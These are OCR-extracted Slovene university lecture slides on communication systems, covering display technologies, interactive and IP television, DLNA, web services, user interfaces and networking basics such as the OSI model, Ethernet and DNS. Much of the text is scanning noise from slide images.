povezljivost 802.11b/g/n WiFi in Bluetooth 9 e
sprejemnik satelitov GPS
zdrutl jivost z DLNA (Digital Living Network Alliance) — -
nov OS (npr. Android 2.2, WindowsPhone 7) %
mnoti co senzorjev (pospeski, kompas, bliti na, svetioba) 'ﬁ
zmogljivo baterijo vsaj 1500 mAh @

A
D '
% -' D

t

32

——
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m Pricakovanja za leto 2012

Hiter razvoj tehnologij prinasa

m procesorje s 4/5jedri s hitrostjo 1.3 - 1.5 GHz
m Kal-El Nvidia (Tegra 3)
m Qualcomm CPU Snapdragon (MSM8960) bo 5x hitrejSi od Desire HD
m poraba se zmanjsa za 1/4
m hitrosti prenosa navzdol
12 - 25 Mbit/s HSPA+

m hitrost navzgor 5 Mbit/s

Qualcomm Chipsets vs Game Device Performance

m opremljenost z WLAN b/g/n ADRENO 130 ADRENO 2xx ADRENO 3xx
m hitri vmesnik Bluetooth . Nt Frkgraid Sron Gt 11
3.0 do 24 Mbit/s
[ GPS s polno asi stenco Similar Game Performance: Similar Game Performance: Similar Game Performance:
= grafiéna zmogljivost kot PS3? ﬁ g [) l
m vgrajen mikro projektor? v ~ -
XBOX 360™ PS3*
Nintendo DS ~

33 www.ltfe.org, Laboratorij za telekomunikacije
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4‘ Tehnologije prikaza

m Zasloni
m CRT
m LCD

m LED-LCD

|

|

OLED

Plazma

= Projektorji |~
m LCD
m DLP
m LCOS
m Projektorski TV

= Elektronski papir (e-ink)
= Prihodnost
m LaserTV

m Upogljivi zasloni
m ...?

——

www.ltfe.org, Laboratorij za telekomunikacije 34 |




| Osnovne znacilnosti

Splosne

Fizicna oblika

m Velikost zaslona (min, max)

Fleksibilnost

Kvaliteta prikaza

Format zaslona

Locljivost in gostota zaslonskih elementov
Hitrost osveteva nja slike (temporalna locljivost)
Kotna vidljivost

Svetlost

Kontrastno razmerje

Razpon in pravilnost barvne reprodukcije
Uniformnost osvetlitve

Geometrijska popacenja

Tivljenjska doba

Energijska ucinkovitost

——

www.ltfe.org, Laboratorij za telekomunikacije
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i Cathode Ray Tube - CRT

= Zaslon s katodno cevjo

= Kljucni sestavni elementi

m Katodna cev
Elektronski top (3x za barvno razli¢ico)
Maska za fokusiranje elektronskega tar ka
Fosforni premaz (RGB)
Krmilna elektronika

= Prednosti in slabosti

m Odliéna reprodukcija barv, kontrast
m Geometrijska popac€enja, utripanje

21” TV CRT Display 17” PC CRT Display
“Trinitron”

[

www.ltfe.org, Laboratorij za telekomunikacije 36 J




| Liquid Crystal Display - LCD

s Zaslon s tekocimi kristali

s LCD sloj kot svetlobna maska

= Aktivna osvetlitev zaslona —
m Fluorescentna tarnica (CCFL) : u:_ < S
= LED (LED-LCD)

D kristalne molekule
m Robna osvetlitev (edge)
m Polna osvetlitev (full array)

= Prednosti in slabosti
m Ni geometrijskih popacenj, utripanja:-

fa
, Polarizing Flltela\
m Slabsa reprodukcija temnih Liquid Crystal Layer

odtenkov &2 Polarizing Filters

m Slabsa kotna vidljivost in
temporalna locljivost &

v

http://solutions.3m.com/wps/portal/3M/en US/Vikuiti1/BrandProducts/secondary/optics101/

{ www.ltfe.org, Laboratorij za telekomunikacije 37 |



http://solutions.3m.com/wps/portal/3M/en_US/Vikuiti1/BrandProducts/secondary/optics101/

| Organic light-emitting diode - OLED

Plast organskega materiala, ki pri
vzbujanju z elektricnim tokom oddaja
svetlobo

Prednosti in slabosti

m Odliéna kontrastna razmerja in reprodukcija
temnih odtenkov

m Dodatna osvetlitev zaslona ni potrebna
m Visoka energijska u€inkovitost

m Izjemno tanki in fleksibilni zasloni

m Ni geometrijskih popacenj in utripanja

m Manjsa tivljenjska doba
m Omejitve velikosti zaslona

——
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| Plazma zasloni - PDP

= Elektriéno vzbujane plinske
celice oddajajo UV svetlobo, ki
vzbudi fosforni premaz in odda
vidno svetlobo (RGB)

= Prednosti in slabosti

Odlicna reprodukcija barv in
temnih odtenkov <

Dobra kotna vidljivost

Ni geometrijskih popacenj .
Odli¢cna temporalna locljivost
(600Hz+) -

Velikosti do 150”7 <

Dolga tivljenjska doba <~

“burn-in” efekt
Slaba energijska u€inkovitost

= "':r-':l

dielectric layer

display electrode \ — =l

phosphors

address electrode

address protective layer

——
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LCD projektor

3xLCD zaslon v viogi filtra
Mocan vir bele svetlobe

Prizma in ogledala za razcep
svetlobe na RGB komponente

Prednosti in slabosti

Dobra reprodukcija barv <>
Svetla in kontrastna slika <

Casovna degradacija LCD panelov
in posledi€no slabsa slika

“screen-door” efekt — vidna -~
Sahovnica slikovnih elementov

Kratka fiv ljenjska doba tarnice <~

The technology behind g™
the )

internal prism
LcD

panel

——,
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| Laserska TV

= Projekcijski DLP televizor
= LASER kot svetlobni izvor (RGB)

= Prednosti in slabosti
m Izjemna reprodukcija barv >
= Izjemno kontrastno razmerje *°

m Visoka energijska uc€inkovitost (cca.
25% porabe plazemskega TV
primerljive velikosti) ¢

m Ni degradacije v kakovosti slike zaradi
staranja

Mitsubishi LaserVue 75”

www.ltfe.org, Laboratorij za telekomunikacije
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“papirju” podobna tehnologija
prikazovanja

Osnovni element — mikrokapsule
z mesanico ¢rno belo obarvanih
delcev z nabojem

Sprememba elektricnega polja
spremeni porazdelitev delcev in
povzrocCi obarvanje mikrokapsule

Prednosti in slabosti
= |zjemno dober kontrast, locljivost in
berljivost
m Izjemna energijska uc€inkovitost (za
ohranjanje slike ni potrebna energija) -~
m Slaba temporalna locljivost < -
m Omejena reprodukcija sivin (16) ©~

Barvni e-papir? (7. nov. 2010)

Amazon Kindle

——
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Primerjava tehnologij

CRT

LCD TV

LED-LCD TV

OLED TV

PLAZMATV

LCD projektor

DLP projektor

LCOS projektor

LASER TV

E-ink

~40”

~100”

~65”

do ~40”

~100”

75”

~20”

Kriterij/ Velikost Kvaliteta
Tehnologija prikaza

izjemna

srednja

dobra

izjemna

zelo dobra

dobra

zelo dobra

izjemna

izjemna

zelo dobra
(za E-papir)

Tivljenjska
doba (ur)
~20.000

~30.000
~30.000
~5.0007
~30.000
~4.000
~4.000

~4.000

Energijska
ucinkovitost

slaba (~250 W za
32”)

dobra (~200 W za
427)

dobra (~200 W za
427)

dobra (~39W za
11” Sony OLED)

slaba (~300 W za
427)

dobra (~200 W za
~1500 lumnov)

dobra (~200 W za
~1500 lumnov)

dobra (~200 W za
~1500 lumnov)

zelo dobra(~130W
za7%")

izjemna

d



MM storitve — interaktivna TV
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Zacetki interaktivhe TV

1983: Bildschirmtext (“BTX”)

Podatkovni prenos preko
telefonskega omretja

Posebna strojna oprema
Neméija (do 2001), Avstrija, Svica

Darstellung auf
Fernsehbiidschirm
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Razmah interneta

- Internet je postal dostopen vsem, povsod
- Dostop do informacij, slik, videov
- Interakcija med uporabniki: e-posta, facebook, twitter
. Povezovanje razliénih naprav preko web vmesnikov

WEB APPLICATION

Widget/ agreg; s
ompol recombi
20,10}
< > Rojo
7 Zillow.com™ <V HYPE MACHINE
& Basecamp - LILTC =
Sery FI’I‘I.dOl'y
CENTENKI RECGPMTENDATIONSI
SHARIN R ILTERING
- Platisithe s _imble
ourmedia
YougllE 9| T roddit moristess
} @prazes .
flickr W riEE VIDFOROME P
pas rREJlER BSHOUTWIRE e
W
S RURL
Rating, f o e Collaborative
Tagging filtering

SOCIAL NETWORK
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Internet + televizija

N Internet

WEB APPLICATION
Widget/ i Aggregation/
component i - B pagefiskes recombination
IV g vegs, ===
0 thinkfree Bloglines &j
£ newsgotor netvibes

jumpeut =
@ o) snap- < Rojo
2= Zillow.com* V2 AYPE MACHINE

& roxid @l Basecama ytrulia PANDORA
S R v
Dulmggi_;:“‘i ) e Jimble
e 7 roddi n
PLAZES
flickr Qe =

VIDEQROME] F Y i
£ gmene

swicki

on  RENLERA - Bl
R FURL
Rating/ l'mh*_

Tagging oo G

SOCIAL NETWORK

&g myspace.com

Coliborative

ittering

ITV#TV+PC

Televizija

——
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IRFORMATIONS
GuUIDE TV

SPORTS
TRAFIC
WIDGETS
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Dernlor Flash Matéo
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NUE Live wis
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o=
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Tipicne storitve IPTV

VecCpredstavne storitve
= ztivimi vsebinami (IPTV, PPV, NVOD)
m video/audio na zahtevo (VOD, AOD)

m osebni videorekorder (angl. Personal Video
Recorder, PVR), Network PVR

m Povezava s telefonijo

Informacijske storitve

m elektronski programski vodi€ (angl.
Electronic Programme/Service Guide,
EPG/ESG)

neposredno sporoc¢anje

prisotnost (presence)

uporabniski raun (pregled stroskov)
e-postne storitve

Svetovni splet na TV

Druge storitve

m igre na zahtevo (angl. Games on Demand,
GOD)

m aplikacije na zahtevo (angl. Application on -
Demand) | 5

1 www.ltfe.org, Laboratorij za telekomunikacije 50 |
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51

| Drugi zaslon

Namesto boja z “Over-the-top” vsebinami in storitvami je drugi
zaslon postal uporabno dopolnilo gledanja televizije
m iPad in druge tablice, pametni telefoni

Lat je brskanje po vsebinah, ki jih predvajamo na TV
Prehod gledanja med napravami
Uporaba socialnih omretij

Sodelovanje v interaktivnih oddajah

——
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i Druge aplikacije in trendi

= Priporog€ilni sistemi za TV oddaje, video na

o . -
za htevo Jlnn. ecommendations | Community i s sunow
LI h %
v Watch it On Dl The Sopranos wmeoﬂxe ‘CS!
Y = ¥ e = —
TV: Today
m Jinni L [ —
YouTwe p Compicated - \
et < A Leooo )
Amazc

m RedBee
m  Gravity
m  Guru ( algoritmi FRI)

AModem Bad j The Hurt
Affair Ueutenant Locker
w2 e LUl L ma
o ity
Frier

= Ciljno oglasevanje
m Sporoéila na drut abnih omretjih (FB)
m Brskanje po drugih vsebinah (novice, VoD...)

m SeaChange
m Thinkanalitics

m Real time procesiranje in prikaz mnenjo TV
oddajah (Twitter + FB)

= elzobratevanje na TV
= Digisoft.tv (12000 $ol v ZDA)

52

——
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)| Povezava z domaéimi vsebinami: DLNA/UPnP

= Digital Living Network Alliance
m vizija, kako povezati multimedijske naprave v domac¢em okolju
m povezava televizijskih, mobilnih in internetnih storitev

= Universal Plug and Play
m tehnologija (protokolni sklad), ki omogoc¢a vizijo DLNA
m temelji na omretjih z IP protokolnim skladom

= Kljuénega pomena je ENOSTAVNOST za uporabnika

Mohile Warld

PL Internet World LE Broadcast World

Vir: http://lwww.dIlna.org/ (

www.ltfe.org, Laboratorij za telekomunikacije

53 |



http://www.dlna.org/

Arhitektura DLNA

DLNA Interoperability Guidelines
Building Blocks

B AP EBH:::::I::[: Mobile Multimedia
|

) ! ' = £ Entertainment,

Media Formats LPCM, MPEG2, E E;.Sili'::::s Personal Media and

MPEG4 AAC LC, Video Services
AVC/H.264 d 3 a
([ uPnPAV 10 ‘

Device Discovery, | ~
Control and
Media Management

T

UPnP Device Customers want

Architecture 1.0 their devices to work
s = Media together any time,
HTTP (mandatory) Pre-Recorded any place.

L

. Content,
Neodia rangpart and‘ Personal Media @
RTP (Optional) —\

Metwork Stack [ IPv4 Protocol Suite

Broadcast
m Video and Movie

F? Services, Entertainment

(Wired: 802.3i, 802.3u
Network Connectivity | Wireless: 802.11a/b/g
Bluetooth

I L SR

Vir: http://lwww.dIlna.org/

——,

www.Itfe.org, Laboratorij za telekomunikacije 54 |
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Spored~
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13:31
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"N - MOTEDR
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1IN OO SPAMUA
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tda pa jo ogrodeno prelivetje avatralshe ate rege, ene najbo

» S oO0OCO Houstonova dru...
&4 00:03:51




T-2 IPTV

Snemalnik i “-'FP-; ﬂ @\ n

& Novo snemanje
42— MNastavljena snemanja

@ Moje posnete vsebine

@3 Poraba prostora

ﬂ Fomod

NEM 310 POR

q. I: (- ¢ e ="t o : o :

-' > = - - ‘

t : - F ‘-A _4_,._:~~_ d o
1 ‘ v

A ! |

3

[
1

Kanal A

wogometu :‘l-ulnqg "pgi.u,,
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€ Si0L 10 - Windows Internet Explorer g@

£ http:fio.siol.net/ v|[4s|[ % o
W | @soLio o~ ~ |i2h Page ~ () Tools ~

> Kmalu na sporedu :
£ Kmalu na sporedu SEZNAM PROGRAMOV %

Croatian Music Ch: TV Hayat BBC World

£ PlanetT\

T-2 Avditorij

[ @ Joze 5 Shike % Prenesi na streznik
Seznam naprav | ime Defjeno 3
. St-2net Pictures-2006.09.18 - 2006.09.25 - London SV101957
? V101922 Delieno - Velikost: 1,8 MB
iQ V101923 Deljeno Dodano: Torek, 10 marec 2009, 10:58:50
4@ Joze V101924 Defjeno
J Glasba 3 5V101925 Deljeno =
Done @ Internet H100% ~ £ e s Digis Ime: SV101957
Dokumenti 101927 Defjeno 7| Vsebino lahko vidijo drugi uporabniki
S . O Arhiv 101928 Defjeno tokaclie | London
I L I O 4 @ Ama V101929 Deljeno
J Glasba $V101930 Delieno Datum: Torek, 19 september 2006
i Siike V101931 Defjeno e s
Dokumenti V101932 Defjeno
Arhiv Defjeno Komentar: <Digimax V700 / Kenox V10 / Digimax
43 Defjeno 4
4 @ Hesny Defjeno
j Defjeno
Defjeno
Loti Defjeno
Deljenc Shool
Defjeno
Defjeno
bnti Defjeno
Defjeno -
Defjeno
Defjeno
Defjeno
Defjeno
Moj Avditorij nti Deljeno Predogled ... =
Defjeno
$V101951 Deljeno S
T-2 Videoteka V101952 Defjenc 4 3 B Do
3,} T-2 Snemalnik nti & Nov album.. Uvozi datoteke .| Uvozi mapo
ljate 43,5% vasega prostora: 435GB (-0B) /100,0 B Petek, 27 marec 2009, 21:57:03

o
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XBMC/Boxeel/Joost

SHOWS FILM MUsIC

llo, classified classified B Cornect with Facebo:

CHANNELS TOP 10

The Kills - Tape Song

Animal Collective - My Girls

n: The Prohlem With

Kings of Leon, so far so drunk

My Queue Clear Viewed Clear All

Local Videos

ClintonBushHaitiFund.org

00% of Eona!wng!n directly to relief eﬂnnf,«"

Shows

Get the most out of Joost -
Films A Login with Facebook

g on Joos  Connect with Facebook |

Music

Search




Tetekom WD Siovenije

AVTOMATIZACIJA I ENERGIJA

S
: IN 20 MIN

72

=

LT - 4: lewl del

| Upravljanje hisne avtomatizacije

| ... -

IDT

Inteligentni dom Telekom

Crarnver Kardins m

VARDVANJE | KRVHI TLAK

LT - 4: dosni del

Ludt
{caloten prostor)

m Lekijueno

Sendtilo

{lown)
""‘-.';_‘ SPUSTI BTty DVIGHI

IT Eenlano
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Poraba v tokoltem mesecu (december 2009)

B Vs tardia W Nifjas tarie

PR A AT ATEREREERTTIERERRRRARAD AP EN
Dan

@ prikati tabelo + navigaclja

| Spremljanje elektriche porabe

L, ENERGIJE

Priklic z vnosom datuma

Vaesite datum za prikaz 25022008 | Prikad |

Prikaz porabe elektritne energije

Frikazujem porabo 13 den 25 02 2009 (sreda)

Stanje ftevca: ¥T: 22008,7 kWwh  NT: 15002,2 kwh

IDT

Inteligentni dom Telekom

[ |

Tekodi dan sreda, 25.02.2009 25,1 7.4
Pretekli dan torek, 24.02.2000 26,2 18,0
Tehofi teden 23.02.2000 - 25.02.2000 L 3L

Pratebli teden | 16.02,2000 - 22.02.2000 1843 1279
Teholi mesec | 01.02,2000 - 25.02.2000 6528 7.3
Pratekdi mesec | 01.01.2009 - 31.01.2000 819.9 337.3

Talesis lato 01.01.2000 - 25.02.2000 LaFar 10046

Prateklo lote | 01.01.2008 - 31.12.2008 BE55,5 EEO45

Poraba v fokofom masacy [fobruar 2006)

Dinevna peraba (KAL)

4t - —L : -
123453670 IPUUDNBSTUSNAZANDNT S

"=~ Konéano
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| Google TV = OTT (internetna TV()

http://www.google.com/tv/features.html
Naprave so te /bile na trgu
Ponuja vse razen standardnih TV kanalov (zaenkrat)

There are two ways to get Google TV. «uilabie now

1. Getastandalone Tv. 2.Geta separate hox to use with your current HDTV.

.

Logitech Revue™ »

Sony” Internet TV » Sony” Internet TV Blu-ray »
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http://www.google.com/tv/features.html

MM storitve - splet
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Blogging

Moblogging

m fotografije, narejene z mobilnikom

m integracija v mobilne telefone
Microblogging

m Twitter

m Kratka sporocila (do 160 znakov)

m posiljanje preko IM ali SMS
“Instant Journalism”

m YouWitness

m Tivo spremljanje konferenc
Geoblogging

= geografsko oznacevanje fotografij

f

twitter

YOUWITNESS
- g1 T 1

Urban S

WERE YOU THERE WHEN NEWS HAPPENED?

Upload your photos and video here to have them considered for use in
articles and features on Yahoo! News.

SUBMIT |

o SUBMIT
PHOTO VIDEO

TRIPTRIYCKER™

flickr

——
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| Podcasti

Osebna radijska postaja
m “demokratizacija radia” @
Tehnologija 7

m snemanje Skype pogovorov
m distribucija avdio datotek preko RSS
Dostopnost

m ljudje s posebnimi potrebami (branje blog postov za slepe)

Mobilnost

m ustvarjalcev
m poslusalcev (poslusanje z obicajnim MP3 predvajalnikom)

Mobilni terminali s predvajalnimi zmogljivostmi
m sinhronizacija preko ustreznega softvera oy

——
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| Video sharing

You [T

Broadcast Yourself™

= Flash video

m enoten format: FLV kontejner in h263/h264 video
m deluje v vsakem brskalniku z nalotenim Flashom

= Drutabne funk cionalnosti
m Video odgovori
m tekstovni komentariji, ratingi

Rate: % % % W & 652287 ratings

Views: 11,866 201

“*metacafe
vimeo
\ MO|VID=0

slovenska videc

RE A4

@ Share @ Favorite = Playlists /@ Flag
g MySpace Facebook 25 Digg more share options
Commentary Statistics & Data

Yideo Responses: 235 Text Comments: 31,349

= Video Responses (235)

01:17 - 01:14 D3:41 : 01:29
TMEXstorm BibbyPro... smileyuis patitoca. ..
View All - Play All

Dcilyﬁdfion

Sign in to post a Video Response

——
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http://www.metacafe.com/

i You'_l'ube

You D)

Vec kot 1 mrd. ogledov dnevno

m Na spletni strani in preko embeddov

m preko aplikacij (npr. iPhone, Android)
20+ ur novega videa vsako minuto

17 mrd. iskanj na mesec
m Vec kot Yahoo (9 mrd.)

Vsebine

= HD 480p, 720p, 1080p (1920x1080)
m Do 24MB (200 Mbit) za minuto videa
m Peering za znitev anje stroskov tranzita

YouTube Video Speed History
We did not find any video playbacks from your location.

Video Speed Comparison (January 28, 2010 to February 23, 2010)
Average Speed in Mbps

.30

278 2.96

2.53
2
1
0

ISP ljubljana svn global

This data is aggregated from our video servers.

youtube.com/my speed

About Uploading

* Capture and Upload in High Definition!
* pload up to 10 videos at a time

* Best video formats for YouTube

¢ |Upto 2 GB in size.

——

www.ltfe.org, Laboratorij za telekomunikacije




i Interaktivnost

INTERAKTIVNOST

{ www.ltfe.org, Laboratorij za telekomunikacije
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| Kaj potrebujemo za interaktivnost?

Uporabniski vmesnik do naprave

m Graficni uporabniski vmesnik (prikaz aplikacije)
m Vmesnhnik za komunikacijo in posredovanje ,,ukazov"

Terminalno napravo
m TV sprejemnik oz. ,, Sd-top box"

Povratni kanal do ponudnika storitev

Ustrezne vsebine in aplikacije

——
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| Vmesniki

= Ljudje uporabljamo “vmesnike” {e tisocCletja
m Table, napisi, smerokazi
m Razliéne naprave

[
1
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Vmesniki (2)

——
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Vmesniki (3)

SuperFutureCarsé
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| Vmesniki (4)

\A

CHANNEL YOLUNE sounp CHANNEL

AONER  ONOFF MUt  iguge

% Movies
iTunes Top Movies
Theatrical Trailers
Flightplan
Gone in 60 Seconds
Pirates of the Caribbean
The Princess Diaries

Toy Story

——
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| elektronskih napravah

ﬂ Zacetki uporabniskih vmesnikov na

= Ukazni vmesniki (command-line)

= Tekstovni vmesniki (text-based)

= Graficni uporabniski vmesniki (graphical)

= Z razvojem racunalniske tehnologije so svet
preplavili graficni uporabniski vmesniki
m Uporaba za mnotice

{ www.ltfe.org, Laboratorij za telekomunikacije
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ynchronet Main Menu

Read/Post Messages Message Area Selection Electronic Mail
n J Jump to new msg area eac d E-mail

sub-boar Other Commands
groups

1¢ ub-b

r]lect group

DT OoOONIDE

Anytime: Cirl-U Who's online Ctrl-P Send private msg Ctrl-C Abort cmd/text
* Main * B:00:14 [11 Hain [11 Notices: |

¥ & S L) < P
Impot  Rotate Left Rotate Right | Browse | Editimage  Fullscreen Stideshow

»s v B3 .
O Favorites

() idden

€ people

@ Piaces

@ events

Internet - Dictionary
o Help
Lookyp: [ Intemet

internet Simitarwords v £§
1

Intemet i~ It ~elrnie~ ), n. itomet
Alarge 13] of 5 ed [l | Intemet
number of major nodes of high-speed computers havir® | oo
high-speed communications channels between the m.

and numerous Minor nodes allowing electronic commy 3 intemet
among millions of computers around the world: - usud

referred to as the intemes. is the basis for the

[CC]

——

El

)] intemet - Dictionary
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' Zacetki graficnih vmesnikov

= Xerox Star Workstation- 1981
= Apple/Macintosh - 1984
= Windows 1.0 - 1985

= Novi koncepti
m Miska, kurzor, meni, ...

——
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= Xerox Star Workstation- 1981

= Apple/Macintosh -1984
= Windows 1.0 - 1985

5

)5 )

LORPO

(ana"
'

= Novi koncepti 0
m Miska, kurzor, meni, ... e

Write - READKE .DOC
File Edit Search
Character Paragraph
Document

: . nformation shoul T
- ! 4 ABC. ficrosoft Windows indows. Also co
: - BUIL H%-00% Executive Addendum encl|

= = | CaLE :
o et CARD Uersion 1.81

MHOoOUT THE SPO)

Copyright @ 1985, Microsoft Corp. b print from an o
hiz may be prefd
Game S5kill CGA. brfiguration as it
CITO - ture change the
CLIP Disk Space Free: 30024K Hion of the Wik
Elﬁﬂﬁ Hemory Free: 383K S paoler=no wil
CONTROL .EXE EGAMOND .GRB HPLA
COURA.FON EGAMOND .LGO 1BHG
COURB .FOH EMH_AT JOoY RUMNMING BATCH [(BEAT) FILEY

If wou run a standard applicatio

COURC .FON EHM._PC KER
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| Stanje danes

= Hiter razvoj elektronskih naprav
m Razlicnhe naprave (mobilne, TV, osebni racunalniki, tablice,

..)

= Uporaba za Siroke mnotice
m Otroci
m Starejsi
m Ljudje s posebnimi potrebami

= Razlicne modalnosti interakcij

——
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| Stanje danes (2)

= Uporabniski vmesnik in design interakcije postajata vse
pomembnejsa

= Dobra uporabniska izkusnja lahko odlocCi o sprejetju novega
sistema, aplikacije, storitve!!!

R §
T T T T R

——
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| Modalnosti interakcije

n “Klasika”

m Mis in tipkovnica, daljinski
upravljalnik

= Upravljanje z dotikom
m  Pametni telefoni, iPad, MS surface,...

= Upravljanje z glasom \)
L

= Upravljanje z gestami/kretnjami

= Pametni telefon, iPad,...

| www.ltfe.org, Laboratorij za telekomunikacije




| Modalnosti interakcije (2)

Upravljanje z oémi { @

Upravljanje z mislimi

Upravljanje z drugo napravo
= Pametni telefon, iPad,...

——
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Multimedija in spremembe v drutbi

Spremembe v kulturi
m prevec prostega Casa
m TV poire ves “umski presete k”

Vsak vikend v USA

m 100 milijonov ur samo za gledanje reklam po TV (1 wikipedija)
Ocenjen viote k za izdelavo Wikipedije

m (vse vsebine, vsi jeziki in ves softver)

m 100 milijonov ur
Letno:

m 2000 Wikipedij samo v USA gre za TV

= 10.000 Wikipedij letno na celem svetu za TV

Dovolj je izdolbsti le delcek procenta iz tega Casa
m pa lahko nastanejo velike stvari

Clay Shirky -- odlicha prezentacija http://blip.tv/file/855937

——
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Multimedija na FE

[
T
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Multimedijski center (MMC)

= Produkcijska oprema

m digitalna avdio/video m
efekti in prehodi

m video matrica 16x16 e
= nadzorna konzola za ka =
pozicioniranje kamer g :
m avdio mesSalna miza
konferenéni sistem z na
mikrofonov
brezti€ ni mikrofoni
prepreéevanje mikrofon \
Stevilni viri signala ||
enkoderji in video stret! [
videokonferenc¢ni sister

.. . 1
centraliziran sistem upr_

[
1
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MMK produkcijski sistem

Funkcionalnosti

m Produkcijsko omretje
m Studio (kamere, mikrofoni, luéi)
m Kontrola kamere in montata v {ivo
m |IP omretje
m Vnos materiala (posneto in v tivo)
m Montata posnetega materiala
m Skupna hramba materiala in arhiv
m Predvajanje
m Enkodiranje

Pomembno za studente

m Sistem za izvajanje laboratorijskih vaj pri studiju MMK

——
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Shema produkcijskega sistema

Encoding
External devices

Converters Control

A% — oy AR

!
Video mixers

Ingest

Playout

Studio

Audio mixers

Recording & playback

=
"

Measurement & analyses system

——
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| Konec.

IMTERALTIVE Tw

\,‘/Hf

TAYSER
7 ; ';’.,'.',.-5

——
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Univerza v Liubljani L ll E

Fakulteta za elektrotebniko Sl b rmooiis ol
Laboratorij za telekomunikacije
Fakulteta za elektrotehniko

Y

bt

Komunikacijski sistemi

KOMUNIKATIVEN S!  prof.dr. Janez Bester

prof. dr. Andrej Kos
dr. Matevz Pustisek
& Co.

Ljubljana, 19. 01. 2011
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Vsebina 1

= Informacijska druzba, komuniciranje in informacijski viri

s Uporabniki in ponudniki informacijskih in
telekomunikacijskih omrezij, storitev, vsebin in aplikacij

= Povezavno in nepovezavno usmerjene komunikacije

s Tokokrogovni in paketni sistemi

= Arhitekture telekomunikacijskih omrezij

Dostop, hrbtenica, storitve in vsebine

Internet _ Zelje ali
. Mobilnost/doseg resnitnost?
Sirokopasovnost o — ?‘
hitrosti y &

Mobilnost otions ﬂ A

- -m deie"
MUItlmedlja Vozilo v

%

mestu

802.16e ;
Uporabniska

WLAN \EEE hitrost

BLUETOOTH (IEEE 802.11x) | 802.16a.d

0,1 1 10 100 Mbit/s
www.ltfe.org, Laboratorij za telekomunikacije
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il Vsebina 2

Omrezja in storitve
m Protokolna sklada (OSl in TCP/IP)
m Komunikacijska vodila
m Omrezja Ethernet, kabliranje
m Omrezja IP
m Osnove naslavljanja, DHCP in DNS
m Osnove omreznih elementov

Pregled aktualnih sistemov
m Brezzic¢ni in mobilni sistemi
m TV,iTVinIPTV
m Web 2.0

——
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Vaje

Delo z najsodobnejso komunikacijsko opremo
m Nacrtovanje, izdelava in testiranje povezav
m Lokalna omrezja
m Internetni sistemi
m MM sistemi

——
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| Kogar zanima vec ...

Cisco omrezna akademija
m CCNA, CCNP, Security, Wireless
m Svetovno priznani certifikati

Apple akademija
= Snow, iWork, FCE, FCP, MotionApple, Color, Compressor
m Svetovno priznani certifikati

ICT akademija

m Dodatna vabljena predavanja strokovnjakov iz industrije
m Dodatna izobrazevanja PHP, Linux, Java

Cyber Reaktorji
m lzzivi telekomunikacij, izzivi multimedije, start-up podjetja
Sodelovanje v LTFE in na razvojnih projektih podjetij

——
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{ Multimedijskidvorani
FaRultetezaelektrotehniko

[CREATIVITY ON] O
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| Razvoj telekomunikacij in IKT

= Temeljna znanja s podroc€ja komunikacijskih in
informacijskih sistemov

®m znanja, ki so potrebna za bodoce inzenirje tehni€ne stroke, in spadajo

v splosno izobrazbo inzenirja v informacijski druzbi

Mbit/s 4
wPERSONALIZACIJA -~
) ]
V(i1 Tube

Broadcast Yourself ™ sKONVERGENCA

';',';;L;' =MOBILNOST

uSLIKA
wPOVEZLJIVOST

) Google

=

t

——
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Sodobni komunikacijski sistemi

|zdelava vsebin
—a \|le — g NG
¢ - )
Tokokrogovni .
- Podatkovne storitve
= iksni si N/ in Internet @
Fiksni sistemi %
//, /4 \
© Paketni -
>§ Paketni -~ -
E AU ;// o
S
o
© d 3 Video storitve S_
c . 3
:_g >g Tokokrogovni =.
_g 8 Brezzicni in \_ J - g.-
g E mobilni sistemi - ~ Ve =1
. (¢)
% £ Paketni Tokokrogovni <
® Govorne storitve | =1
s || S — 'i -
s (|0 ¢ 3. .
o Analogni -
/
(/, Radiodifuzni \_ /
sistemi e ~
- Poslovni procesi g&
ij Digitalni
\ 1 = 4IRS
Dostopovna omrezja Hrbteni€éna omrezja Storitveni sistemi
Nacrtovanje, upravljanje in nadzor sistemov
1 www.ltfe.org, Laboratorij za telekomunikacije
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Prenosni medij

TIGNI

/

BAKER

~INN

UTP COAX PLC ..

PRENOSNI MEDIJ

I\

SUB SLISNI Uz

BREZTICNI

N
LASER IR

RADIO
!

'
NF DV,SV,KV UKV MIKRO

——,
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Umestitev tehnologij

Omrezne tehnologije

Tokokrogovna komutacija

Staticna

Dinamicna

Paketna komutacija

SDH/SONET

ISDN, DTM

Povezavna Nepovezavna
usmerjenost usmerjenost
ATM, MPLS G-Ethernet

——
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W u

Operatersko omrezje — Internet

IPv4 in IPv6

@™

Sistemi BSS/0SS
nadzor/upravljanje

Internetne storitv
Web, Mail, FTP

STORITVENI PODSISTEMI

MPLS
ETHERNET, SDH
DWDM/OTN/GMPLS

JEDRO/HRBTENICA

xDSL
DOCSIS
FTTH
WiMAX
MTS/HSxPA
LTE
ATM/FR
ETHERNET

DOSTOP in AGREGACIA

UPORABNIKI

.

www.ltfe.org, Laboratorij za telekomunikacije

13




OSI| Referencni model

Omrezni I«

Povezavni I*

Aplikacijski |«
?
Predstavitveni I«
P
Sejni I« .........
P
Transportni |~
h g

Logi€éna komunikacija

h g
Fiziéni ...................... » FiZiéni
$ I“ 4 $ I“ $

............ 4 Omreini I

------------ 4 Povezavni

»  Aplikacijski | i

P .
» Predstavitveni I |
?
. Sejni I

~| Transportni I

elioe)yiunwoy euizi4

h <

Prenosni medij

——,
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Potek komunikacije

podatki pc:datki

Aplikacijski

Predstavitveni

Trgnsportni

Omrezni Pe

\ vezavni
Povejavni ;
, Povezavni e
izicni

Fizi€ni

Fizicni I

Omrezni

Povezavn . . Povezavni I

——,
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IP protokolni sklad




i Ethernet in referencni model OSI

17

Referenéni model OSI| Referen¢ni model Ethernet (IEEE 802.3)

802.1 oz. 802.

802.3
Ethernet

-

£

——
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i Fizicni in povezavni sloj Ethernet

18

Fizicni medij

[
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l Omrezne naprave — umestitev v OSI

LS -L7

usmerjevalnik

&

premoscevalnik,

stlkalo
Etherne rep L2

obnavljalnlk
vozel (hub

E’ 010101010101000010101111111010101111 L1
Lneeneaas

( www.Itfe.org, Laboratorij za telekomunikacije 19 |
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' Princip delovanja stikala Ethernet

tabela MAC

ciljni naslov MAC

izhodni vmesnik

1111.1111. 1111

E1

2222.2222.2222

E2

3333.3333.3333

E3

4444 .4444 4444

E4

-

MAC = 3333.3333.3333 4

E4

MAC = 4444 .4444 4444

-

o | MAC =2222.2222.2222

=

E1

-

MAC = 1111.1111.1111

{ www.ltfe.org, Laboratorij za telekomunikacije
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Hierarhicnha struktura DNS

unnamed root —m .

top level
domains T o

United Arab Zimbabwe
second level . Emirates
domains
